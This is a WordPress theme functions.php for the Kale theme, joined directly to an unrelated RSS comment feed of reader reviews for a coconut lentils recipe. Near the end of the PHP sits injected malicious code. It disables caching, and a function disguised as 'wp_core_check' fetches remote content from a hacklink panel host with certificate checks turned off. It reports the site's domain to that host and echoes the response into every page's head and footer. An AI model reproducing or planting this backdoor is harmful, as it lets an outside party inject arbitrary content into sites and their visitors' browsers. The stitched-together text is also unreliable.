/*------------------------------
 Customizer
 ------------------------------*/

if ( ! class_exists( 'Kirki' ) ) {
	include_once( dirname( __FILE__ ) . '/inc/kale-kirki.php' ); // fallback
	include_once( dirname( __FILE__ ) . '/inc/kale-kirki-installer.php' ); // installer
}
require get_template_directory() . '/customize/theme-defaults.php' ;
require get_template_directory() . '/customize/customizer.php' ;

function kale_customize_register( $wp_customize ) {
    $wp_customize->remove_control('header_textcolor');
    $wp_customize->get_section('colors')->title = esc_html__( 'Custom Colors', 'kale' );
    $wp_customize->get_section('colors')->priority = 75;
}
add_action( 'customize_register', 'kale_customize_register' );

if(is_admin())  add_action( 'customize_controls_enqueue_scripts', 'kale_custom_customize_enqueue' );
function kale_custom_customize_enqueue() {
    wp_enqueue_style( 'kale-customizer', get_template_directory_uri() . '/customize/style.css' );
}

/*------------------------------
 Setup
 ------------------------------*/

function kale_setup() {

    global $kale_defaults;

    load_theme_textdomain( 'kale', get_template_directory() . '/languages' );

    register_nav_menus( array('header' => esc_html__( 'Main Menu', 'kale' )) );

    add_theme_support( 'automatic-feed-links' );
    add_theme_support( 'title-tag' );
    add_theme_support( 'custom-logo', array('height' => 150, 'width' => 300,'flex-height' => true,'flex-width'  => true ) );
    add_theme_support( 'custom-background');
	add_theme_support( 'html5', array( 'comment-form', 'comment-list', 'gallery', 'caption' ) );

    $args = array(
        'flex-width'    => true,
        'width'         => 1200,
        'flex-height'    => true,
        'height'        => 550,
        'default-image' => $kale_defaults['kale_custom_header'],
    );
    add_theme_support( 'custom-header', $args );

    add_theme_support( 'post-thumbnails' );
    set_post_thumbnail_size( 760, 400, true );
    add_image_size( 'kale-slider', 1200, 550, true );
    add_image_size( 'kale-thumbnail', 760, 400, true );

    add_post_type_support('page', 'excerpt');

    #https://make.wordpress.org/core/2016/11/26/extending-the-custom-css-editor/
    if ( function_exists( 'wp_update_custom_css_post' ) ) {
        $css = kale_get_option('kale_advanced_css');
        if ( $css ) {
            $core_css = wp_get_custom_css();
            $return = wp_update_custom_css_post( $core_css . $css );
            if ( ! is_wp_error( $return ) ) {
                remove_theme_mod( 'kale_advanced_css' );
            }
        }
    }

	#WooCommerce
	if ( class_exists( 'WooCommerce' ) ) {
		add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		add_theme_support( 'wc-product-gallery-slider' );
		add_theme_support( 'woocommerce' );
	}

    kale_kirki_update_3015();
    
}
add_action( 'after_setup_theme', 'kale_setup' );

/**
 * Register Google fonts.
 *
 * @return string Returns url for Google fonts
 */
function kale_fonts_url() {
    $fonts_url = '';

    $font_families = array();

    $font_families[] = 'Montserrat:400,700';
    $font_families[] = 'Lato:400,700,300,300italic,400italic,700italic';
    $font_families[] = 'Raleway:200';
    $font_families[] = 'Caveat';

    $query_args = array(
        'family' => urlencode( implode( '|', $font_families ) ),
        'subset' => urlencode( 'latin,latin-ext' ),
    );

    $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );

    return esc_url_raw( $fonts_url );
}
/**
 * Add preconnect for Google Fonts.
 *
 * @param array  $urls           URLs to print for resource hints.
 * @param string $relation_type  The relation type the URLs are printed.
 * @return array $urls           URLs to print for resource hints.
 */
function kale_resource_hints( $urls, $relation_type ) {
    /**
     * Preconnect Google fonts
     */
    if ( 'preconnect' === $relation_type ) {
        $urls[] = array(
            'href' => 'https://fonts.gstatic.com',
            'crossorigin',
        );
    }

    return $urls;
}
add_filter( 'wp_resource_hints', 'kale_resource_hints', 10, 2 );

/*------------------------------
 Styles and Scripts
 ------------------------------*/

function kale_scripts() {

    /* Styles */
    // Add custom fonts, used in the main stylesheet.
    wp_enqueue_style( 'kale-fonts', kale_fonts_url(), array(), null );

    wp_register_style('bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css' );
    wp_register_style('bootstrap-select', get_template_directory_uri() . '/assets/css/bootstrap-select.min.css' );
    wp_register_style('smartmenus-bootstrap', get_template_directory_uri() . '/assets/css/jquery.smartmenus.bootstrap.css' );
    wp_register_style('font-awesome', get_template_directory_uri().'/assets/css/font-awesome.min.css' );
    wp_register_style('owl-carousel', get_template_directory_uri().'/assets/css/owl.carousel.css' );

    //default stylesheet
    $deps = array('bootstrap', 'bootstrap-select', 'smartmenus-bootstrap', 'font-awesome', 'owl-carousel');
    wp_enqueue_style('kale-style', get_stylesheet_uri(), $deps );
    wp_style_add_data( 'kale-style', 'rtl', 'replace' );
    
    //WPForms - match WPForms styling to Elara
    if ( function_exists( 'wpforms' ) && kale_get_option( 'kale_wpforms_override') ) {
        wp_enqueue_style('wpforms-override', get_parent_theme_file_uri( '/assets/css/wpforms.css'));
    }

    /* Scripts */

    // Load html5shiv.min.js
	wp_enqueue_script( 'kale-html5', get_template_directory_uri() . '/assets/js/html5shiv.min.js', array(), '3.7.0' );
	wp_script_add_data( 'kale-html5', 'conditional', 'lt IE 9' );
    // Load respond.min.js
	wp_enqueue_script( 'kale-respond', get_template_directory_uri() . '/assets/js/respond.min.js', array(), '1.3.0' );
	wp_script_add_data( 'kale-respond', 'conditional', 'lt IE 9' );

    wp_enqueue_script('bootstrap', get_template_directory_uri().'/assets/js/bootstrap.min.js', array('jquery'), '', true );
    wp_enqueue_script('bootstrap-select', get_template_directory_uri() . '/assets/js/bootstrap-select.min.js', array('jquery','bootstrap'), '', true );
    wp_enqueue_script('smartmenus', get_template_directory_uri() . '/assets/js/jquery.smartmenus.js', array('jquery','bootstrap'), '', true );
    wp_enqueue_script('smartmenus-bootstrap', get_template_directory_uri() . '/assets/js/jquery.smartmenus.bootstrap.js', array('jquery','bootstrap'), '', true );
    wp_enqueue_script('owl-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array('jquery'), '', true );
    wp_enqueue_script('kale-js', get_template_directory_uri() . '/assets/js/kale.js', array('jquery'), '', true );

    //comments
    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }

}
add_action( 'wp_enqueue_scripts', 'kale_scripts' );



if ( ! function_exists( 'kale_excerpt_more' ) ) :
function kale_excerpt_more($default){
	return;
}
endif;
add_filter('excerpt_more', 'kale_excerpt_more');

/*------------------------------
 Custom CSS
 ------------------------------*/

if ( ! function_exists( 'kale_custom_css_banner_overlay' ) ) :
function kale_custom_css_banner_overlay(){
	global $kale_defaults;
    $kale_frontpage_banner_overlay_color = kale_get_option('kale_frontpage_banner_overlay_color');
	$kale_frontpage_banner_overlay_show = kale_get_option('kale_frontpage_banner_overlay_show');
	$kale_frontpage_banner_link_images = kale_get_option('kale_frontpage_banner_link_images');
    if($kale_frontpage_banner_overlay_show == 0 || $kale_frontpage_banner_link_images == 1){
		echo "<style>";
		echo ".frontpage-banner:before, .frontpage-slider .owl-carousel-item:before{content:none;}";
		echo "</style>";
	} else if($kale_frontpage_banner_overlay_color != $kale_defaults['kale_frontpage_banner_overlay_color']) {
		echo "<style>";
		echo ".frontpage-banner:before, .frontpage-slider .owl-carousel-item:before{background-color:".esc_attr($kale_frontpage_banner_overlay_color).";}";
		echo "</style>";
	}
}
endif;
add_action('wp_head','kale_custom_css_banner_overlay', 98);

if ( ! function_exists( 'kale_custom_css' ) ) :
function kale_custom_css() {
    $kale_advanced_css = kale_get_option('kale_advanced_css');
    if($kale_advanced_css != '') {
        echo '<!-- Custom CSS -->';
        $output = "<style>" . wp_strip_all_tags($kale_advanced_css) . "</style>";
        echo $output;
        echo '<!-- /Custom CSS -->';
    }
}
endif;
add_action('wp_head','kale_custom_css', 99);


/*------------------------------
 Widgets
 ------------------------------*/
require_once get_template_directory() . '/widgets/widgets.php';

/*------------------------------
 Meta Boxes
 ------------------------------*/
require_once get_template_directory() . '/meta_boxes/meta_boxes.php';

/*------------------------------
 Content Width
 ------------------------------*/
if ( ! isset( $content_width ) ) {
    $content_width = 1200;
}

/*------------------------------
 wp_bootstrap_navwalker
 ------------------------------*/
require_once get_template_directory() . '/inc/wp_bootstrap_navwalker.php';

/**
 * Welcome page
 */
require get_parent_theme_file_path( '/welcome-page/welcome-page.php' );

/*------------------------------
 TGM_Plugin_Activation
 ------------------------------*/

require_once get_template_directory() . '/inc/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'kale_register_required_plugins' );
function kale_register_required_plugins() {
	$plugins = array(
        array(
			'name'      => 'Kirki',
			'slug'      => 'kirki',
			'required'  => false,
		),
        array(
			'name'      => 'WPForms',
			'slug'      => 'wpforms-lite',
			'required'  => false,
		),
        array(
			'name'      => 'Recent Posts Widget With Thumbnails',
			'slug'      => 'recent-posts-widget-with-thumbnails',
			'required'  => false,
		),
	);
	$config = array(
		'id'           => 'kale',                  // Unique ID for hashing notices for multiple instances of TGMPA.
		'default_path' => '',                      // Default absolute path to bundled plugins.
		'menu'         => 'tgmpa-install-plugins', // Menu slug.
		'has_notices'  => true,                    // Show admin notices or not.
		'dismissable'  => true,                    // If false, a user cannot dismiss the nag message.
		'dismiss_msg'  => '',                      // If 'dismissable' is false, this message will be output at top of nag.
		'is_automatic' => false,                   // Automatically activate plugins after installation or not.
		'message'      => '',                      // Message to output right before the plugins table.
	);
	tgmpa( $plugins, $config );
}

/*------------------------------
 Filters
 ------------------------------*/

#move comment field to the bottom of the comments form
function kale_move_comment_field_to_bottom( $fields ) {
    if ( get_post_type() == 'post' ) :
        $comment_field = $fields['comment'];
        $cookies       = $fields['cookies'];
        unset( $fields['comment'] );
        unset( $fields['cookies'] );
        $fields['comment'] = $comment_field;
        $fields['cookies'] = $cookies;
    endif;
    return $fields;
}
add_filter( 'comment_form_fields', 'kale_move_comment_field_to_bottom' );

#excerpt length
function kale_excerpt_length( $length ) {
	return 45;
}
add_filter( 'excerpt_length', 'kale_excerpt_length', 999 );

#post excerpts
function kale_post_excerpts($more){
    $kale_blog_feed_posts_excerpt_read_more_text = kale_get_option('kale_blog_feed_posts_excerpt_read_more_text');
    $kale_blog_feed_posts_excerpt_read_more_link = kale_get_option('kale_blog_feed_posts_excerpt_read_more_link');
    if( empty ( $kale_blog_feed_posts_excerpt_read_more_text ) ) $kale_blog_feed_posts_excerpt_read_more_text = '&hellip;';
    
    if ( ! is_single() ) {
        if( $kale_blog_feed_posts_excerpt_read_more_link == 1 )
            $more = sprintf( '&nbsp;<a class="read-more" href="%1$s">%2$s</a>',
                get_permalink( get_the_ID() ),
                esc_attr ( $kale_blog_feed_posts_excerpt_read_more_text ) 
            );
        else 
           return esc_html ( '&nbsp;' . $kale_blog_feed_posts_excerpt_read_more_text );
    }
    return $more;
}
add_filter( 'excerpt_more', 'kale_post_excerpts' );

#add class to page nav
function kale_wp_page_menu_class( $class ) {
  return preg_replace( '/<ul>/', '<ul class="nav navbar-nav">', $class, 1 );
}
add_filter( 'wp_page_menu', 'kale_wp_page_menu_class' );

#get_the_archive_title
function kale_archive_title( $title ) {
    if( is_home() && get_option('page_for_posts') ) {
        $title = get_page( get_option('page_for_posts') )->post_title;
    }
    else if( is_home() ) {
        $title = kale_get_option('kale_blog_feed_label');
        $title = esc_html($title);
    }
    else if ( is_search() ) {
        $title = esc_html__('Search Results: ', 'kale') . get_search_query();
    }
    return $title;
}
add_filter( 'get_the_archive_title', 'kale_archive_title' );

//https://productforums.google.com/forum/#!topic/webmasters/WUszeNYGNdg
# Remove the "hentry" class from pages and archives (prevents structured data errors)
function remove_hentry( $classes ) {
    if (is_page() || is_archive()){$classes = array_diff( $classes, array('hentry'));}return $classes;
}
add_filter( 'post_class','remove_hentry' );

/*------------------------------
 Top Navigation
 ------------------------------*/

#add search form to nav
function kale_nav_items_wrap() {
    // default value of 'items_wrap' is <ul id="%1$s" class="%2$s">%3$s</ul>'
    // open the <ul>, set 'menu_class' and 'menu_id' values
    $wrap  = '<ul id="%1$s" class="%2$s">';
    // get nav items as configured in /wp-admin/
    $wrap .= '%3$s';
    // the static link
    $wrap .= kale_get_nav_search_item();
    // close the <ul>
    $wrap .= '</ul>';
    // return the result
    return $wrap;
}

function kale_get_nav_search_item(){
    return '<li class="search">
        <a href="javascript:;" id="toggle-main_search" data-toggle="dropdown"><i class="fa fa-search"></i></a>
        <div class="dropdown-menu main_search">
            <form name="main_search" method="get" action="'.esc_url(home_url( '/' )).'">
                <input type="text" name="s" class="form-control" placeholder="'. esc_attr(__('Type here','kale')).'" />
            </form>
        </div>
    </li>';
}

#default nav top level pages
function kale_default_nav(){
    echo '<div class="navbar-collapse collapse">';
    echo '<ul class="nav navbar-nav">';
    $pages = get_pages();
    $n = count($pages);
    $i=0;
    foreach ( $pages as $page ) {
        $menu_name = esc_html($page->post_title);
        $menu_link = get_page_link( $page->ID );
        if(get_the_ID() == $page->ID) $current_class = "current_page_item current-menu-item";
        else { $current_class = ''; }
        $menu_class = "page-item-" . $page->ID;
        echo "<li class='page_item ".esc_attr($menu_class)." $current_class'><a href='".esc_url($menu_link)."'>".esc_html($menu_name)."</a></li>";
        $i++;
        if($n == $i){
            echo kale_get_nav_search_item();
        }
    }
    echo '</ul>';
    echo '</div>';
}

/*------------------------------
 Helper
 ------------------------------*/

if ( ! function_exists( 'kale_get_option' ) ) :
function kale_get_option($key){
    global $kale_defaults;
    if (is_array($kale_defaults) && array_key_exists($key, $kale_defaults))
        $value = get_theme_mod($key, $kale_defaults[$key]);
    else
        $value = get_theme_mod($key);
    return $value;
}
endif;

if ( ! function_exists( 'kale_get_bootstrap_class' ) ) :
function kale_get_bootstrap_class($columns){
    switch($columns){
        case 1: return 'col-md-12'; break;
        case 2: return 'col-lg-6 col-md-6 col-sm-6 col-xs-6'; break;
        case 3: return 'col-lg-4 col-md-4 col-sm-4 col-xs-12'; break;
        case 4: return 'col-lg-3 col-md-3 col-sm-6 col-xs-12'; break;
        case 5: return 'col-md-20'; break;
        case 6: return 'col-lg-2 col-md-2 col-sm-2 col-xs-6'; break;
    }
}
endif;

if ( ! function_exists( 'kale_get_sample' ) ) :
function kale_get_sample($what){
    global $kale_defaults;
    switch($what){
        case 'slide':           $images = $kale_defaults['kale_slide_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'kale-thumbnail':  $images = $kale_defaults['kale_thumbnail_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'full':            $images = $kale_defaults['kale_full_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'kale-vertical':   $images = $kale_defaults['kale_vertical_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
        case 'kale-index':      $images = $kale_defaults['kale_index_sample']; $rand_key = array_rand($images, 1); return ($images[$rand_key]);
    }
}
endif;

if ( ! function_exists( 'kale_show_custom_css_field' ) ) :
function kale_show_custom_css_field(){
    if(get_bloginfo('version') >= 4.7){
        $kale_advanced_css = kale_get_option('kale_advanced_css');
        if($kale_advanced_css == '') return false;
        else return true;
    }
    return true;
}
endif;

#kale_example_sidebar
function kale_example_sidebar(){
    echo '<div class="sidebar-default sidebar-block sidebar-no-borders" >';
    the_widget('WP_Widget_Search', 'title=' . esc_html__('Search', 'kale'), 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget widget_search">&after_widget=</div>');
    the_widget('WP_Widget_Pages', 'title=' . esc_html__('Pages', 'kale') , 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    the_widget('WP_Widget_Recent_Posts', 'title=' . esc_html__('Recent Posts', 'kale') , 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    the_widget( 'WP_Widget_Archives', 'title=' . esc_html__('Archives', 'kale'), 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    the_widget( 'WP_Widget_Categories', 'title=' . esc_html__('Categories', 'kale'), 'before_title=<h3 class="widget-title"><span>&after_title=</span></h3>&before_widget=<div class="default-widget widget">&after_widget=</div>');
    echo '</div>';
}

if ( ! function_exists( 'kale_get_attachment' ) ) :
function kale_get_attachment( $attachment_id ) {
	$attachment = get_post( $attachment_id );
	return array(
		'alt' => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
		'caption' => $attachment->post_excerpt,
		'description' => $attachment->post_content,
		'href' => get_permalink( $attachment->ID ),
		'src' => $attachment->guid,
		'title' => $attachment->post_title
	);
}
endif;

function kale_kirki_update_3015(){
    # version 3.0.15 is no longer using strings "0" or "1" for this control
    $switches = array(  'kale_image_logo_show', 'kale_frontpage_featured_posts_show', 'kale_frontpage_large_post_show',
                        'kale_blog_feed_meta_show', 'kale_posts_meta_show', 'kale_sidebar_size');
    foreach($switches as $switch) {
        $val = get_theme_mod( $switch, true ) ;
        if($val == "0")    set_theme_mod( $switch, false );
    }
}

/**
 * Kale Pagination.
 *
 * Detect pagination plugin presence and replace accordingly the default WordPress functions.
 *
 * @since 2.5.1
 */
function kale_pagination($default_wp_function = null, $args = [], $default = null) {
    if(function_exists( 'wp_pagenavi' )) {
        if($default_wp_function === 'wp_link_pages') {
            wp_pagenavi( array( 'type' => 'multipart', 'options' => $args ) );
        } else {
            wp_pagenavi();
        }
    } else {
        if($default_wp_function === 'wp_link_pages') {
            wp_link_pages($args);
        } else {
            if($default) call_user_func($default);
        }
    }
}

add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
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	Comments on: Creamy Coconut Lentils	</title>
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	<description>kind for your health, kind for the earth, kind for the animals</description>
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		<title>
		By: Crystal		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-204</link>

		<dc:creator><![CDATA[Crystal]]></dc:creator>
		<pubDate>Fri, 29 Sep 2017 19:50:45 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-204</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-196&quot;&gt;Irene Horvath&lt;/a&gt;.

Thanks for the update Irene! I&#039;m so glad this worked out and now your son can enjoy this too! ]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-196">Irene Horvath</a>.</p>
<p>Thanks for the update Irene! I&#8217;m so glad this worked out and now your son can enjoy this too! </p>
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		<item>
		<title>
		By: Irene Horvath		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-196</link>

		<dc:creator><![CDATA[Irene Horvath]]></dc:creator>
		<pubDate>Thu, 28 Sep 2017 17:41:35 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-196</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-99&quot;&gt;Crystal (Admin)&lt;/a&gt;.

We tried this recipe with Quinoa instead of Lentils and it was great. As expected the texture was not as nice as with the Lentils but my son is reactive to lentils and rice so Quinoa is his go to these days. The only change is that I always use Coconut Cream instead of the Coconut Milk. Just a preference on my part, being plant based we don&#039;t seem to get enough good fats and oils in our diets. Thanks for these great recipes.]]></description>
			<content:encoded><![CDATA[<p><img class="wprm-comment-rating" src="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/assets/icons/rating/stars-alt-5.svg" alt="5 stars" width="80" height="16" /><br />
In reply to <a href="https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-99">Crystal (Admin)</a>.</p>
<p>We tried this recipe with Quinoa instead of Lentils and it was great. As expected the texture was not as nice as with the Lentils but my son is reactive to lentils and rice so Quinoa is his go to these days. The only change is that I always use Coconut Cream instead of the Coconut Milk. Just a preference on my part, being plant based we don&#8217;t seem to get enough good fats and oils in our diets. Thanks for these great recipes.</p>
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		<item>
		<title>
		By: Crystal (Admin)		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-161</link>

		<dc:creator><![CDATA[Crystal (Admin)]]></dc:creator>
		<pubDate>Thu, 31 Aug 2017 00:25:40 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-161</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-160&quot;&gt;Henrietta&lt;/a&gt;.

Hey Henrietta! I hope you enjoy this as much as my family and I do!! Good luck on your journey - you&#039;ll find oodles of new ways of preparing and enjoying food!

Crystal]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-160">Henrietta</a>.</p>
<p>Hey Henrietta! I hope you enjoy this as much as my family and I do!! Good luck on your journey &#8211; you&#8217;ll find oodles of new ways of preparing and enjoying food!</p>
<p>Crystal</p>
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		<item>
		<title>
		By: Henrietta		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-160</link>

		<dc:creator><![CDATA[Henrietta]]></dc:creator>
		<pubDate>Wed, 30 Aug 2017 22:59:34 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-160</guid>

					<description><![CDATA[This recipe looks amazing . I am going to the store tonight to get what&#039;s needed. I just started my journey 32 days ago and I am loving it!]]></description>
			<content:encoded><![CDATA[<p>This recipe looks amazing . I am going to the store tonight to get what&#8217;s needed. I just started my journey 32 days ago and I am loving it!</p>
]]></content:encoded>
		
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		<item>
		<title>
		By: Crystal (Admin)		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-99</link>

		<dc:creator><![CDATA[Crystal (Admin)]]></dc:creator>
		<pubDate>Mon, 24 Jul 2017 00:10:31 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-99</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-98&quot;&gt;Irene Horvath&lt;/a&gt;.

Hi Irene!  

Congrats on your kinder and healthier food journey. There are so many great foods awaiting you! I&#039;m so glad you enjoyed this recipe. I just love it too, it hits all the notes: creamy, hearty, spicy, and quick!! :) 

Crystal]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-98">Irene Horvath</a>.</p>
<p>Hi Irene!  </p>
<p>Congrats on your kinder and healthier food journey. There are so many great foods awaiting you! I&#8217;m so glad you enjoyed this recipe. I just love it too, it hits all the notes: creamy, hearty, spicy, and quick!! 🙂 </p>
<p>Crystal</p>
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		<item>
		<title>
		By: Irene Horvath		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-98</link>

		<dc:creator><![CDATA[Irene Horvath]]></dc:creator>
		<pubDate>Sun, 23 Jul 2017 18:30:56 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-98</guid>

					<description><![CDATA[We have just recently started eating plant based and this is our fav recipe of all. We do use coconut cream]]></description>
			<content:encoded><![CDATA[<p><img class="wprm-comment-rating" src="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/assets/icons/rating/stars-alt-5.svg" alt="5 stars" width="80" height="16" /><br />
We have just recently started eating plant based and this is our fav recipe of all. We do use coconut cream</p>
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		<item>
		<title>
		By: Crystal (Admin)		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-83</link>

		<dc:creator><![CDATA[Crystal (Admin)]]></dc:creator>
		<pubDate>Thu, 06 Jul 2017 18:50:28 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-83</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-80&quot;&gt;Kristen&lt;/a&gt;.

Hi Kristen! Thanks so much for the feedback. I&#039;m so glad you enjoyed the lentils! I bet dipping your homemade naan in it was amazing! :D]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-80">Kristen</a>.</p>
<p>Hi Kristen! Thanks so much for the feedback. I&#8217;m so glad you enjoyed the lentils! I bet dipping your homemade naan in it was amazing! 😀</p>
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			</item>
		<item>
		<title>
		By: Kristen		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-80</link>

		<dc:creator><![CDATA[Kristen]]></dc:creator>
		<pubDate>Mon, 03 Jul 2017 22:52:15 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-80</guid>

					<description><![CDATA[Wow!!! I made this tonight with some homemade naan bread and basmati rice. My husband and I lo loved it! It has such a great depth of flavor. I removed the seeds from the chilis and it had the perfect amount of heat. Your recipe is going to be a new favorite for my family!!]]></description>
			<content:encoded><![CDATA[<p><img class="wprm-comment-rating" src="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/assets/icons/rating/stars-alt-5.svg" alt="5 stars" width="80" height="16" /><br />
Wow!!! I made this tonight with some homemade naan bread and basmati rice. My husband and I lo loved it! It has such a great depth of flavor. I removed the seeds from the chilis and it had the perfect amount of heat. Your recipe is going to be a new favorite for my family!!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Crystal (Admin)		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-74</link>

		<dc:creator><![CDATA[Crystal (Admin)]]></dc:creator>
		<pubDate>Tue, 27 Jun 2017 02:17:55 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-74</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-73&quot;&gt;Nikki&lt;/a&gt;.

Thanks for your kind words Nikki, I&#039;m so glad your family loved it! I love that it&#039;s so quick and hearty. Your addition of cauliflower is a fantastic idea that I might just have to try next time I make it!]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-73">Nikki</a>.</p>
<p>Thanks for your kind words Nikki, I&#8217;m so glad your family loved it! I love that it&#8217;s so quick and hearty. Your addition of cauliflower is a fantastic idea that I might just have to try next time I make it!</p>
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		<item>
		<title>
		By: Nikki		</title>
		<link>https://kindnesskitchen.ca/creamy-coconut-lentils/#comment-73</link>

		<dc:creator><![CDATA[Nikki]]></dc:creator>
		<pubDate>Tue, 27 Jun 2017 02:14:13 +0000</pubDate>
		<guid isPermaLink="false">http://kindnesskitchen.ca/?p=756#comment-73</guid>

					<description><![CDATA[This was so easy to prepare and my whole family loved It! We made one small change and added cauliflower. It&#039;s definitely going to be a regular dinner at our house. 
Thanks for sharing this!!]]></description>
			<content:encoded><![CDATA[<p><img class="wprm-comment-rating" src="https://kindnesskitchen.ca/wp-content/plugins/wp-recipe-maker/assets/icons/rating/stars-alt-5.svg" alt="5 stars" width="80" height="16" /><br />
This was so easy to prepare and my whole family loved It! We made one small change and added cauliflower. It&#8217;s definitely going to be a regular dinner at our house.<br />
Thanks for sharing this!!</p>
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